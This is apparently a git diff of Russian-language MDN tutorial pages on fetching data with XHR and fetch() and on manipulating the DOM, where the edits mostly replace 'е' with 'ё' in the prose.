            • Меньше данных загружается при каждом обновлении, что означает меньшее потребление пропускной способности. Это не может быть такой большой проблемой на рабочем столе в широкополосном подключении, но это серьезная проблема на мобильных устройствах и в развивающихся странах, которые не имеют повсеместного быстрого интернет-сервиса.
              • +
            • Меньше данных загружается при каждом обновлении, что означает меньшее потребление пропускной способности. Это не может быть такой большой проблемой на рабочем столе в широкополосном подключении, но это серьёзная проблема на мобильных устройствах и в развивающихся странах, которые не имеют повсеместного быстрого интернет-сервиса.

            Чтобы ускорить работу, некоторые сайты также сохраняют необходимые файлы и данные на компьютере пользователя при первом обращении к сайту, а это означает, что при последующих посещениях они используют локальные версии вместо загрузки свежих копий,  как при первой загрузке страницы. Содержимое загружается с сервера только при его обновлении.

            @@ -75,14 +75,14 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Fetching_data

            XMLHttpRequest

            -

            XMLHttpRequest (который часто сокращается до XHR) является довольно старой технологией сейчас - он был изобретен Microsoft в конце 1990-х годов и уже довольно долго стандартизирован в браузерах.

            +

            XMLHttpRequest (который часто сокращается до XHR) является довольно старой технологией сейчас - он был изобретён Microsoft в конце 1990-х годов и уже довольно долго стандартизирован в браузерах.

            1. -

              Чтобы начать этот пример, создайте локальную копию ajax-start.html и четырех текстовых файлов - verse1.txt, verse2.txt, verse3.txt и verse4.txt - в новом каталоге на вашем компьютере. В этом примере мы загрузим другое стихотворение (который вы вполне можете распознать) через XHR, когда он будет выбран в выпадающем меню.

              +

              Чтобы начать этот пример, создайте локальную копию ajax-start.html и четырёх текстовых файлов - verse1.txt, verse2.txt, verse3.txt и verse4.txt - в новом каталоге на вашем компьютере. В этом примере мы загрузим другое стихотворение (который вы вполне можете распознать) через XHR, когда он будет выбран в выпадающем меню.

            2. -

              Внутри элемента {{htmlelement("script")}} добавьте следующий код. В нем хранится ссылка на элементы {{htmlelement("select")}} и {{htmlelement("pre")}} в переменных и определяется {{domxref ("GlobalEventHandlers.onchange", "onchange")}} обработчика событий, так что, когда значение select изменяется, его значение передается вызываемой функции updateDisplay() в качестве параметра.

              +

              Внутри элемента {{htmlelement("script")}} добавьте следующий код. В нем хранится ссылка на элементы {{htmlelement("select")}} и {{htmlelement("pre")}} в переменных и определяется {{domxref ("GlobalEventHandlers.onchange", "onchange")}} обработчика событий, так что, когда значение select изменяется, его значение передаётся вызываемой функции updateDisplay() в качестве параметра.

              var verseChoose = document.querySelector('select');
 var poemDisplay = document.querySelector('pre');
@@ -100,7 +100,7 @@ verseChoose.onchange = function() {
 };
            3. -

              Мы начнем нашу функцию с создания относительного URL-адреса, указывающего на текстовый файл, который мы хотим загрузить и который понадобится нам позже. Значение элемента {{htmlelement("select")}} в любой момент совпадает с текстом внутри выбранного {{htmlelement("option")}} (если вы не укажете другое значение в атрибуте value) - например, «Verse 1». Соответствующий текстовый файл стиха является «verse1.txt» и находится в том же каталоге, что и файл HTML, поэтому будет использоваться только имя файла.

              +

              Мы начнём нашу функцию с создания относительного URL-адреса, указывающего на текстовый файл, который мы хотим загрузить и который понадобится нам позже. Значение элемента {{htmlelement("select")}} в любой момент совпадает с текстом внутри выбранного {{htmlelement("option")}} (если вы не укажете другое значение в атрибуте value) - например, «Verse 1». Соответствующий текстовый файл стиха является «verse1.txt» и находится в том же каталоге, что и файл HTML, поэтому будет использоваться только имя файла.

              Тем не менее, веб-серверы, как правило, чувствительны к регистру, и имя файла не имеет символа "пробела". Чтобы преобразовать «Verse 1» в «verse1.txt», нам нужно преобразовать V в нижний регистр, удалить пробел и добавить .txt в конец. Это можно сделать с помощью {{jsxref("String.replace", "replace ()")}}, {{jsxref("String.toLowerCase", "toLowerCase ()")}} и простой конкатенации строк. Добавьте следующие строки внутри функции updateDisplay():

              @@ -114,7 +114,7 @@ var url = verse + '.txt'; 
              var request = new XMLHttpRequest();
            4. -

              Затем вам нужно использовать метод {{domxref("XMLHttpRequest.open", "open()")}}, чтобы указать, какой HTTP request method использовать для запроса ресурса из сети и какой его URL-адрес. Мы просто используем метод GET здесь и задаем URL как нашу переменную url. Добавьте это ниже вашей предыдущей строки:

              +

              Затем вам нужно использовать метод {{domxref("XMLHttpRequest.open", "open()")}}, чтобы указать, какой HTTP request method использовать для запроса ресурса из сети и какой его URL-адрес. Мы просто используем метод GET здесь и задаём URL как нашу переменную url. Добавьте это ниже вашей предыдущей строки:

              request.open('GET', url);
              5. @@ -124,7 +124,7 @@ var url = verse + '.txt'; 
              request.responseType = 'text';
            5. -

              Получение ресурса из сети - это {{glossary("asynchronous")}} операция, означающая, что вам нужно дождаться завершения этой операции (например, ресурс возвращается из сети), прежде чем вы сможете сделать что-либо с этим ответом, иначе будет выброшена ошибка. XHR позволяет вам обрабатывать это, используя обработчик события {{domxref("XMLHttpRequest.onload", "onload")}} - он запускается при возникновении события {{event("load")}} (когда ответ вернулся). Когда это произойдет, данные ответа будут доступны в свойстве response (ответ) объекта запроса XHR.

              +

              Получение ресурса из сети - это {{glossary("asynchronous")}} операция, означающая, что вам нужно дождаться завершения этой операции (например, ресурс возвращается из сети), прежде чем вы сможете сделать что-либо с этим ответом, иначе будет выброшена ошибка. XHR позволяет вам обрабатывать это, используя обработчик события {{domxref("XMLHttpRequest.onload", "onload")}} - он запускается при возникновении события {{event("load")}} (когда ответ вернулся). Когда это произойдёт, данные ответа будут доступны в свойстве response (ответ) объекта запроса XHR.

              Добавьте следующее ниже вашего последнего дополнения. Вы увидите, что внутри обработчика события onload мы устанавливаем textContent poemDisplay (элемент {{htmlelement("pre")}}) в значение {{domxref("XMLHttpRequest.response", "request. response ")}}.

              @@ -133,7 +133,7 @@ var url = verse + '.txt'; };
            6. -

              Вышеприведенная конфигурация запроса XHR  фактически не будет выполняться до тех пор, пока мы не вызовем метод {{domxref("XMLHttpRequest.send", "send()")}}. Добавьте следующее ниже вашего предыдущего дополнения для вызова функции:

              +

              Вышеприведённая конфигурация запроса XHR  фактически не будет выполняться до тех пор, пока мы не вызовем метод {{domxref("XMLHttpRequest.send", "send()")}}. Добавьте следующее ниже вашего предыдущего дополнения для вызова функции:

              request.send();
              7. @@ -159,7 +159,7 @@ verseChoose.value = 'Verse 1';
              1. -

                Сделайте копию своего предыдущего готового каталога примеров. (Если вы не работали над предыдущим упражнением, создайте новый каталог и внутри него создайте копии xhr-basic.html и четырех текстовых файлов — verse1.txt, verse2.txt, verse3.txt и verse4.txt.)

                +

                Сделайте копию своего предыдущего готового каталога примеров. (Если вы не работали над предыдущим упражнением, создайте новый каталог и внутри него создайте копии xhr-basic.html и четырёх текстовых файлов — verse1.txt, verse2.txt, verse3.txt и verse4.txt.)

              2. Внутри функции updateDisplay() найдите код XHR:

                @@ -192,9 +192,9 @@ request.send();

                Прежде всего, мы вызываем метод {{domxref("WorkerOrWindowGlobalScope.fetch()", "fetch()")}}, передавая ему URL-адрес ресурса, который мы хотим получить. Это современный эквивалент {{domxref("XMLHttpRequest.open", "request.open()")}} в XHR, плюс вам не нужен эквивалент .send().

                -

                После этого вы можете увидеть метод {{jsxref("Promise.then", ".then()")}}, прикреплённый в конец fetch() - этот метод является частью {{jsxref("Promise","Promises")}} - современная функция JavaScript для выполнения асинхронных операций. fetch() возвращает обещание, которое разрешает ответ, отправленный обратно с сервера, - мы используем .then() для запуска некоторого последующего кода после того, как обещание будет разрешено, что является функцией, которую мы определили внутри нее. Это эквивалент обработчика события onload в XHR-версии.

                +

                После этого вы можете увидеть метод {{jsxref("Promise.then", ".then()")}}, прикреплённый в конец fetch() - этот метод является частью {{jsxref("Promise","Promises")}} - современная функция JavaScript для выполнения асинхронных операций. fetch() возвращает обещание, которое разрешает ответ, отправленный обратно с сервера, - мы используем .then() для запуска некоторого последующего кода после того, как обещание будет разрешено, что является функцией, которую мы определили внутри неё. Это эквивалент обработчика события onload в XHR-версии.

                -

                Эта функция автоматически передает ответ от сервера в качестве параметра, когда обещает fetch(). Внутри функции мы берем ответ и запускаем его метод {{domxref("Body.text", "text()")}}, который в основном возвращает ответ как необработанный текст. Это эквивалент request.responseType = 'text' в версии XHR.

                +

                Эта функция автоматически передаёт ответ от сервера в качестве параметра, когда обещает fetch(). Внутри функции мы берём ответ и запускаем его метод {{domxref("Body.text", "text()")}}, который в основном возвращает ответ как необработанный текст. Это эквивалент request.responseType = 'text' в версии XHR.

                Вы увидите, что text()также возвращает обещание, поэтому мы привязываем к нему другой .then(), внутри которого мы определяем функцию для получения необработанного текста, который обещает решение text().

                @@ -204,7 +204,7 @@ request.send();

                Обещания немного запутывают первый раз, когда вы их встречаете, но не беспокойтесь об этом слишком долго. Через некоторое время вы привыкнете к ним, особенно, когда вы узнаете больше о современных JavaScript-API. Большинство из них в большей степени основаны на обещаниях.

                -

                Давайте посмотрим на структуру обещаний сверху, чтобы увидеть, можем ли мы еще немного понять это:

                +

                Давайте посмотрим на структуру обещаний сверху, чтобы увидеть, можем ли мы ещё немного понять это:

                fetch(url).then(function(response) {
   response.text().then(function(text) {
@@ -214,7 +214,7 @@ request.send();

                В первой строке говорится: «Получить ресурс, расположенный по адресу url» (fetch(url)) и «затем запустить указанную функцию, когда обещание будет разрешено» (.then(function() { ... })). «Resolve» означает «завершить выполнение указанной операции в какой-то момент в будущем». Указанная операция в этом случае заключается в извлечении ресурса с указанного URL (с использованием HTTP-запроса) и возврата ответа для нас, чтобы что-то сделать.

                -

                Фактически, функция, переданная в then(), представляет собой кусок кода, который не запускается немедленно - вместо этого он будет работать в какой-то момент в будущем, когда ответ будет возвращен. Обратите внимание, что вы также можете сохранить свое обещание в переменной и цепочку {{jsxref("Promise.then", ".then()")}} вместо этого. Ниже код будет делать то же самое:

                +

                Фактически, функция, переданная в then(), представляет собой кусок кода, который не запускается немедленно - вместо этого он будет работать в какой-то момент в будущем, когда ответ будет возвращён. Обратите внимание, что вы также можете сохранить своё обещание в переменной и цепочку {{jsxref("Promise.then", ".then()")}} вместо этого. Ниже код будет делать то же самое:

                var myFetch = fetch(url);
 
@@ -224,7 +224,7 @@ myFetch.then(function(response) {
   });
 });
                -

                Поскольку метод fetch() возвращает обещание, которое разрешает HTTP-ответ, любая функция, которую вы определяете внутри .then(), прикованная к концу, будет автоматически передаваться как параметр. Вы можете вызвать параметр, который вам нравится - приведенный ниже пример будет работать:

                +

                Поскольку метод fetch() возвращает обещание, которое разрешает HTTP-ответ, любая функция, которую вы определяете внутри .then(), прикованная к концу, будет автоматически передаваться как параметр. Вы можете вызвать параметр, который вам нравится - приведённый ниже пример будет работать:

                fetch(url).then(function(dogBiscuits) {
   dogBiscuits.text().then(function(text) {
@@ -258,15 +258,15 @@ myFetch.then(function(response) {
 
 
                Какой механизм следует использовать?
                
 
-
                Это действительно зависит от того, над каким проектом вы работаете. XHR существует уже давно и имеет отличную кросс-браузерную поддержку. Fetch and Promises, с другой стороны, являются более поздним дополнением к веб-платформе, хотя они хорошо поддерживаются в браузере, за исключением Internet Explorer и Safari (которые на момент написания Fetch были доступны в своем предварительный просмотр технологии).
                
+
                Это действительно зависит от того, над каким проектом вы работаете. XHR существует уже давно и имеет отличную кросс-браузерную поддержку. Fetch and Promises, с другой стороны, являются более поздним дополнением к веб-платформе, хотя они хорошо поддерживаются в браузере, за исключением Internet Explorer и Safari (которые на момент написания Fetch были доступны в своём предварительный просмотр технологии).
                
 
 
                Если вам необходимо поддерживать старые браузеры, тогда может быть предпочтительным решение XHR. Если, однако, вы работаете над более прогрессивным проектом и не так обеспокоены старыми браузерами, то Fetch может быть хорошим выбором.
                
 
-
                Вам действительно нужно учиться - Fetch станет более популярным, так как Internet Explorer отказывается от использования (IE больше не разрабатывается, в пользу нового браузера Microsoft Edge), но вам может понадобиться XHR еще некоторое время.
                
+
                Вам действительно нужно учиться - Fetch станет более популярным, так как Internet Explorer отказывается от использования (IE больше не разрабатывается, в пользу нового браузера Microsoft Edge), но вам может понадобиться XHR ещё некоторое время.
                
 
 
                Более сложный пример
                
 
-
                Чтобы завершить статью, мы рассмотрим несколько более сложный пример, который показывает более интересные применения Fetch. Мы создали образец сайта под названием The Can Store - это вымышленный супермаркет, который продает только консервы. Вы можете найти этот пример в прямом эфире на GitHub и посмотреть исходный код.
                
+
                Чтобы завершить статью, мы рассмотрим несколько более сложный пример, который показывает более интересные применения Fetch. Мы создали образец сайта под названием The Can Store - это вымышленный супермаркет, который продаёт только консервы. Вы можете найти этот пример в прямом эфире на GitHub и посмотреть исходный код.
                
 
 
                A fake ecommerce site showing search options in the left hand column, and product search results in the right hand column.
                
 
@@ -289,7 +289,7 @@ myFetch.then(function(response) {
   }
 });
                -

                Это похоже на то, что мы видели раньше, за исключением того, что второе обещание находится в условном выражении. В этом случае мы проверяем, был ли возвращенный ответ успешным - свойство {{domxref("response.ok")}} содержит логическое значение, которое true, если ответ был в порядке (например, 200 meaning "OK") или false, если он не увенчался успехом.

                +

                Это похоже на то, что мы видели раньше, за исключением того, что второе обещание находится в условном выражении. В этом случае мы проверяем, был ли возвращённый ответ успешным - свойство {{domxref("response.ok")}} содержит логическое значение, которое true, если ответ был в порядке (например, 200 meaning "OK") или false, если он не увенчался успехом.

                Если ответ был успешным, мы выполняем второе обещание - на этот раз мы используем {{domxref("Body.json", "json()")}}, а не {{domxref("Body.text", "text()")}}, так как мы хотим вернуть наш ответ как структурированные данные JSON, а не обычный текст.

                @@ -300,7 +300,7 @@ myFetch.then(function(response) {
                1. Создание локальной копии файлов примеров (загрузка и распаковка the can-store ZIP file)
                2. Запустите код через веб-сервер (как описано выше, в {{anch("Serving your example from a server")}})
                  3. -
                3. Измените путь к извлеченному файлу, например, «product.json» (т.е. убедитесь, что он написан неправильно)
                  4. +
                4. Измените путь к извлечённому файлу, например, «product.json» (т.е. убедитесь, что он написан неправильно)
                5. Теперь загрузите индексный файл в свой браузер (например, через localhost:8000) и посмотрите в консоли разработчика браузера. Вы увидите сообщение в строке «Запрос сети для продуктов.json не удалось с ответом 404: Файл не найден»
                @@ -319,7 +319,7 @@ myFetch.then(function(response) {

                Это работает во многом так же, как и предыдущий, за исключением того, что вместо использования {{domxref("Body.json", "json()")}} мы используем {{domxref("Body.blob", "blob()")}} - в этом случае мы хотим вернуть наш ответ в виде файла изображения, а формат данных, который мы используем для этого - Blob - этот термин является аббревиатурой от« Binary Large Object »и может в основном использоваться для представляют собой большие файловые объекты, такие как изображения или видеофайлы.

                -

                После того как мы успешно получили наш blob, мы создаем URL-адрес объекта, используя {{domxref("URL.createObjectURL()", "createObjectURL()")}}. Это возвращает временный внутренний URL-адрес, указывающий на объект, указанный в браузере. Они не очень читаемы, но вы можете видеть, как выглядит, открывая приложение Can Store, Ctrl-/щелкнуть правой кнопкой мыши по изображению и выбрать опцию «Просмотр изображения» (которая может немного отличаться в зависимости от того, какой браузер вы ). URL-адрес объекта будет отображаться внутри адресной строки и должен выглядеть примерно так:

                +

                После того как мы успешно получили наш blob, мы создаём URL-адрес объекта, используя {{domxref("URL.createObjectURL()", "createObjectURL()")}}. Это возвращает временный внутренний URL-адрес, указывающий на объект, указанный в браузере. Они не очень читаемы, но вы можете видеть, как выглядит, открывая приложение Can Store, Ctrl-/щёлкнуть правой кнопкой мыши по изображению и выбрать опцию «Просмотр изображения» (которая может немного отличаться в зависимости от того, какой браузер вы ). URL-адрес объекта будет отображаться внутри адресной строки и должен выглядеть примерно так:

                blob:http://localhost:7800/9b75250e-5279-e249-884f-d03eb1fd84f4
                diff --git a/files/ru/learn/javascript/client-side_web_apis/index.html b/files/ru/learn/javascript/client-side_web_apis/index.html index b5e7493f19..ed8a1b0a19 100644 --- a/files/ru/learn/javascript/client-side_web_apis/index.html +++ b/files/ru/learn/javascript/client-side_web_apis/index.html @@ -21,7 +21,7 @@ translation_of: Learn/JavaScript/Client-side_web_APIs ---
                {{LearnSidebar}}
                -

                При написании клиентского JavaScript для приложений или веб-сайтов Вам не приходится слишком сильно углубляться, пока Вы не начнете использовать API — интерфейсы управления различными аспектами браузера или операционной системы на которой этот сайт работает, или же с данными с других веб-сайтов или сервисов. В этом модуле мы рассмотрим что API из себя представляет и как использовать самые распространенные из них, с которыми Вы можете столкнуться в разработке.

                +

                При написании клиентского JavaScript для приложений или веб-сайтов Вам не приходится слишком сильно углубляться, пока Вы не начнёте использовать API — интерфейсы управления различными аспектами браузера или операционной системы на которой этот сайт работает, или же с данными с других веб-сайтов или сервисов. В этом модуле мы рассмотрим что API из себя представляет и как использовать самые распространённые из них, с которыми Вы можете столкнуться в разработке.

                Прежде чем начать

                @@ -37,11 +37,11 @@ translation_of: Learn/JavaScript/Client-side_web_APIs
                Введение в различные web API
                -
                Прежде всего, мы начнем изучение API с основ - что это такое, как это работает, как вы используете их в своем коде и как они структурированы? Мы также рассмотрим, что представляют собой различные основные классы API, и как их можно использовать.
                +
                Прежде всего, мы начнём изучение API с основ - что это такое, как это работает, как вы используете их в своём коде и как они структурированы? Мы также рассмотрим, что представляют собой различные основные классы API, и как их можно использовать.
                Управление документами
                При написании веб-страниц и приложений Вы чаще всего будете управлять каким-либо образом веб-документами.  Обычно это делается с помощью Document Object Model (DOM), набора API-интерфейсов для управления HTML-разметкой и стилями, которые используют объект {{domxref ("Document")}}. В этой статье мы рассмотрим, как использовать DOM, а также некоторые интересные API, которые могут изменить рабочую среду интересными способами.
                Получение данных с сервера
                -
                Другой очень распространенной задачей в современных веб-сайтах и приложениях является получение отдельных элементов данных с сервера для обновления разделов веб-страницы без необходимости загрузки абсолютно новой страницы. Эта, казалось бы, небольшая деталь оказала огромное влияние на производительность и поведение сайтов, поэтому в этой статье мы объясним концепцию и рассмотрим технологии, которые позволяют это, например {{domxref("XMLHttpRequest")}} и Fetch API.
                +
                Другой очень распространённой задачей в современных веб-сайтах и приложениях является получение отдельных элементов данных с сервера для обновления разделов веб-страницы без необходимости загрузки абсолютно новой страницы. Эта, казалось бы, небольшая деталь оказала огромное влияние на производительность и поведение сайтов, поэтому в этой статье мы объясним концепцию и рассмотрим технологии, которые позволяют это, например {{domxref("XMLHttpRequest")}} и Fetch API.
                Сторонние API
                API, которые мы рассматривали до сих пор, встроены в браузер, но не все API встроены в браузер. Многие крупные веб-сайты и сервисы, такие как Google Maps, Twitter, Facebook, PayPal и т.д. предоставляют API-интерфейсы, позволяющие разработчикам использовать свои данные (например, показывать ваш Twitter-поток в вашем блоге) или сервисы (например, отображение пользовательских карт Google на вашем сайте, или с помощью входа в систему Facebook для входа в систему пользователей). В этой статье рассматривается различие между API браузера и сторонними API и показано типичное использование последнего.
                Рисование графики
                diff --git a/files/ru/learn/javascript/client-side_web_apis/introduction/index.html b/files/ru/learn/javascript/client-side_web_apis/introduction/index.html index 089ee32bab..322ff509a5 100644 --- a/files/ru/learn/javascript/client-side_web_apis/introduction/index.html +++ b/files/ru/learn/javascript/client-side_web_apis/introduction/index.html @@ -43,7 +43,7 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Introduction

                Для JavaScript на стороне клиента, в частности, существует множество API. Они не являются частью языка, а построены с помощью встроенных функций JavaScript для того, чтобы увеличить ваши возможности при написании кода. Их можно разделить на две категории:

                  -
                • API браузера встроены в веб-браузер и способны использовать данные браузера и компьютерной среды для осуществления более сложных действий с этими данными. К примеру, API Геолокации (Geolocation API) предоставляет простые в использовании конструкции JavaScript для работы с данными местоположения, так что вы сможете, допустим, отметить свое расположение на карте Google Map. На самом деле, в браузере выполняется сложный низкоуровневый код (например, на C++) для подключения к устройству GPS (или любому другому устройству геолокации), получения данных и передачи их браузеру для обработки вашей программой, но, как было сказано выше, эти детали скрыты благодаря API.
                  • +
                • API браузера встроены в веб-браузер и способны использовать данные браузера и компьютерной среды для осуществления более сложных действий с этими данными. К примеру, API Геолокации (Geolocation API) предоставляет простые в использовании конструкции JavaScript для работы с данными местоположения, так что вы сможете, допустим, отметить своё расположение на карте Google Map. На самом деле, в браузере выполняется сложный низкоуровневый код (например, на C++) для подключения к устройству GPS (или любому другому устройству геолокации), получения данных и передачи их браузеру для обработки вашей программой, но, как было сказано выше, эти детали скрыты благодаря API.
                • Сторонние API не встроены в браузер по умолчанию. Такие API и информацию о них обычно необходимо искать в интернете. Например, Twitter API позволяет размещать последние твиты (tweets) на вашем веб-сайте. В данном API определён набор конструкций, осуществляющих запросы к сервисам Twitter и возвращающих определённые данные.
                diff --git a/files/ru/learn/javascript/client-side_web_apis/manipulating_documents/index.html b/files/ru/learn/javascript/client-side_web_apis/manipulating_documents/index.html index a0e35bc998..f9ce1ece00 100644 --- a/files/ru/learn/javascript/client-side_web_apis/manipulating_documents/index.html +++ b/files/ru/learn/javascript/client-side_web_apis/manipulating_documents/index.html @@ -31,9 +31,9 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents

                Важные элементы веб-браузера

                -

                Веб-браузеры - очень сложные части программного обеспечения с множеством движущихся частей, многие из которых не могут управляться или управляться веб-разработчиком с использованием JavaScript. Вы можете подумать, что такие ограничения - это плохо, но браузеры заблокированы по уважительным причинам (в основном ради безопасности). Представьте себе, что веб-сайт может получить доступ к вашим сохраненным паролям или другой конфиденциальной информации и войти на веб-сайты так, как если бы это были вы?

                +

                Веб-браузеры - очень сложные части программного обеспечения с множеством движущихся частей, многие из которых не могут управляться или управляться веб-разработчиком с использованием JavaScript. Вы можете подумать, что такие ограничения - это плохо, но браузеры заблокированы по уважительным причинам (в основном ради безопасности). Представьте себе, что веб-сайт может получить доступ к вашим сохранённым паролям или другой конфиденциальной информации и войти на веб-сайты так, как если бы это были вы?

                -

                Несмотря на ограничения, Web API по-прежнему дают нам доступ к множеству функциональных возможностей, которые позволяют нам многое делать с веб-страницами. Есть несколько действительно очевидных моментов, на которые вы будете регулярно ссылаться в своем коде. Рассмотрим следующую диаграмму, которая представляет основные части браузера, непосредственно участвующие в просмотре веб-страниц:

                +

                Несмотря на ограничения, Web API по-прежнему дают нам доступ к множеству функциональных возможностей, которые позволяют нам многое делать с веб-страницами. Есть несколько действительно очевидных моментов, на которые вы будете регулярно ссылаться в своём коде. Рассмотрим следующую диаграмму, которая представляет основные части браузера, непосредственно участвующие в просмотре веб-страниц:

                @@ -49,7 +49,7 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents

                Документ, загруженный в каждый из ваших вкладок браузера, представлен объектной моделью документа. Это представление «древовидной структуры», созданное браузером, которое позволяет легко получить доступ к структуре HTML с помощью языков программирования - например, сам браузер использует его для применения стиля и другой информации к правильным элементам, поскольку он отображает страницу, а разработчики (как Вы) могут манипулировать DOM с JavaScript после того, как страница была отображена.

                -

                Мы создали простую страницу примера в dom-example.html (см. также live). Попробуйте открыть это в своем браузере - это очень простая страница, содержащая элемент {{htmlelement("section")}}, внутри которого вы можете найти изображение и абзац со ссылкой внутри. Исходный код HTML выглядит так:

                +

                Мы создали простую страницу примера в dom-example.html (см. также live). Попробуйте открыть это в своём браузере - это очень простая страница, содержащая элемент {{htmlelement("section")}}, внутри которого вы можете найти изображение и абзац со ссылкой внутри. Исходный код HTML выглядит так:

                <!DOCTYPE html>
 <html>
@@ -73,23 +73,23 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents
 
                Примечание. Эта диаграмма дерева DOM была создана с использованием Live DOM viewer Яна Хиксона.
            -

            Вы можете видеть здесь, что каждый элемент и бит текста в документе имеют свою собственную запись в дереве - каждый из них называется узлом (node). Вы также столкнетесь с различными терминами, используемыми для описания типа узла, и их положением в дереве относительно друг друга:

            +

            Вы можете видеть здесь, что каждый элемент и бит текста в документе имеют свою собственную запись в дереве - каждый из них называется узлом (node). Вы также столкнётесь с различными терминами, используемыми для описания типа узла, и их положением в дереве относительно друг друга:

            • Element node: элемент, как он существует в DOM.
            • Root node: верхний узел в дереве, который в случае HTML всегда является узлом HTML (другие словари разметки, такие как SVG и пользовательский XML, будут иметь разные корневые элементы)..
              • -
            • Child node: узел непосредственно внутри другого узла. Например, IMG является дочерним элементом SECTION в приведенном выше примере.
              • -
            • Descendant node (узел потомок): узел внутри дочернего элемента. Например, IMG является дочерним элементом SECTION в приведенном выше примере, и он также является потомком для родителя SECTION. IMG не является ребенком BODY, так как он находится на двух уровнях ниже дерева в дереве, но он является потомком BODY.
              • -
            • Parent node: узел, в котором текущий узел. Например, BODY является родительским узлом SECTION в приведенном выше примере.
              • -
            • Sibling nodes (одноуровневый узел): узлы, которые расположены на одном уровне в дереве DOM. Например, IMG и P являются братьями и сестрами в приведенном выше примере.
              • +
            • Child node: узел непосредственно внутри другого узла. Например, IMG является дочерним элементом SECTION в приведённом выше примере.
              • +
            • Descendant node (узел потомок): узел внутри дочернего элемента. Например, IMG является дочерним элементом SECTION в приведённом выше примере, и он также является потомком для родителя SECTION. IMG не является ребёнком BODY, так как он находится на двух уровнях ниже дерева в дереве, но он является потомком BODY.
              • +
            • Parent node: узел, в котором текущий узел. Например, BODY является родительским узлом SECTION в приведённом выше примере.
              • +
            • Sibling nodes (одноуровневый узел): узлы, которые расположены на одном уровне в дереве DOM. Например, IMG и P являются братьями и сёстрами в приведённом выше примере.
            • Text node: узел, содержащий текстовую строку.
            -

            Полезно ознакомиться с этой терминологией перед тем, как работать с DOM, поскольку некоторые термины кода, с которыми вы столкнетесь, используют их.. Возможно, вы уже сталкивались с ними, если вы изучали CSS (например, селектор потомков, дочерний селектор).

            +

            Полезно ознакомиться с этой терминологией перед тем, как работать с DOM, поскольку некоторые термины кода, с которыми вы столкнётесь, используют их.. Возможно, вы уже сталкивались с ними, если вы изучали CSS (например, селектор потомков, дочерний селектор).

            Активное обучение: основы управления структурой DOM

            -

            Чтобы начать изучение по управлению структуры DOM, давайте начнем с практического примера.

            +

            Чтобы начать изучение по управлению структуры DOM, давайте начнём с практического примера.

            1. Возьмите локальную копию страницы dom-example.html page и изображение, которое вместе с ним.
              2. @@ -97,7 +97,7 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents
            2. Чтобы управлять элементом внутри DOM, вам сначала нужно выбрать его и сохранить ссылку на него внутри переменной. Внутри вашего скриптового элемента добавьте следующую строку: 
              var link = document.querySelector('a');
              3. -
            3. Теперь у нас есть ссылка на элемент, хранящаяся в переменной, мы можем начать ее манипулировать с использованием доступных ему свойств и методов (они определены на таких интерфейсах, как {{domxref("HTMLAnchorElement")}} в случае {{htmlelement ("a")}}, его более общий родительский интерфейс {{domxref ("HTMLElement")}} и {{domxref("Node")}} - который представляет все узлы в DOM). Прежде всего, давайте изменим текст внутри ссылки, обновив значение свойства {{domxref("Node.textContent")}}. Добавьте следующую строку ниже предыдущей: +
            4. Теперь у нас есть ссылка на элемент, хранящаяся в переменной, мы можем начать её манипулировать с использованием доступных ему свойств и методов (они определены на таких интерфейсах, как {{domxref("HTMLAnchorElement")}} в случае {{htmlelement ("a")}}, его более общий родительский интерфейс {{domxref ("HTMLElement")}} и {{domxref("Node")}} - который представляет все узлы в DOM). Прежде всего, давайте изменим текст внутри ссылки, обновив значение свойства {{domxref("Node.textContent")}}. Добавьте следующую строку ниже предыдущей: 
              link.textContent = 'Mozilla Developer Network';
            5. Мы также должны изменить URL-адрес, на который указывает ссылка, чтобы он не попадал в неправильное место при нажатии. Добавьте следующую строку, опять внизу: @@ -111,8 +111,8 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents

              Существуют более старые методы для захвата ссылок на элементы, например:

                -
              • {{domxref("Document.getElementById()")}}, который выбирает элемент с заданным значением атрибута id, например <p id="myId">Мой абзац</p>. Идентификатор передается функции как параметр, т.е. var elementRef = document.getElementById('myId').
                • -
              • {{domxref("Document.getElementsByTagName()")}}, который возвращает массив, содержащий все элементы на странице данного типа, например <p>, <a> и т.д. Тип элемента передается к функции в качестве параметра, то есть var elementRefArray = document.getElementsByTagName('p').
                • +
              • {{domxref("Document.getElementById()")}}, который выбирает элемент с заданным значением атрибута id, например <p id="myId">Мой абзац</p>. Идентификатор передаётся функции как параметр, т.е. var elementRef = document.getElementById('myId').
                • +
              • {{domxref("Document.getElementsByTagName()")}}, который возвращает массив, содержащий все элементы на странице данного типа, например <p>, <a> и т.д. Тип элемента передаётся к функции в качестве параметра, то есть var elementRefArray = document.getElementsByTagName('p').

              Эти два работают в более старых браузерах, чем современные методы, такие как querySelector(), но не так удобны. Осмотритесь и вы увидите, что ещё можно найти!

              @@ -123,7 +123,7 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents

              Вышесказанное дало вам немного вкуса от того, что вы можете сделать, но давайте продолжим и посмотрим, как мы можем создавать новые элементы.

                -
              1. Возвращаясь к текущему примеру, давайте начнем с захвата ссылки на наш элемент {{htmlelement("section")}} - добавьте следующий код внизу существующего скрипта (сделайте то же самое с другими строками): +
              2. Возвращаясь к текущему примеру, давайте начнём с захвата ссылки на наш элемент {{htmlelement("section")}} - добавьте следующий код внизу существующего скрипта (сделайте то же самое с другими строками): 
                var sect = document.querySelector('section');
              3. Теперь давайте создадим новый абзац, используя {{domxref("Document.createElement()")}} и передадим ему текстовое содержимое так же, как и раньше: @@ -136,7 +136,7 @@ para.textContent = 'We hope you enjoyed the ride.';
              4. Наконец, для этой части, давайте добавим текстовый узел в абзац, где находится ссылка, чтобы оформить предложение красиво. Сначала мы создадим текстовый узел, используя {{domxref("Document.createTextNode()")}}: 
                var text = document.createTextNode(' — the premier source for web development knowledge.');
                5. -
              5. Теперь мы возьмем ссылку на абзац, в котором находится ссылка, и добавим к нему текстовый узел: +
              6. Теперь мы возьмём ссылку на абзац, в котором находится ссылка, и добавим к нему текстовый узел: 
                var linkPara = document.querySelector('p');
 linkPara.appendChild(text);
                7. @@ -152,7 +152,7 @@ linkPara.appendChild(text); 
                sect.appendChild(linkPara);
                -

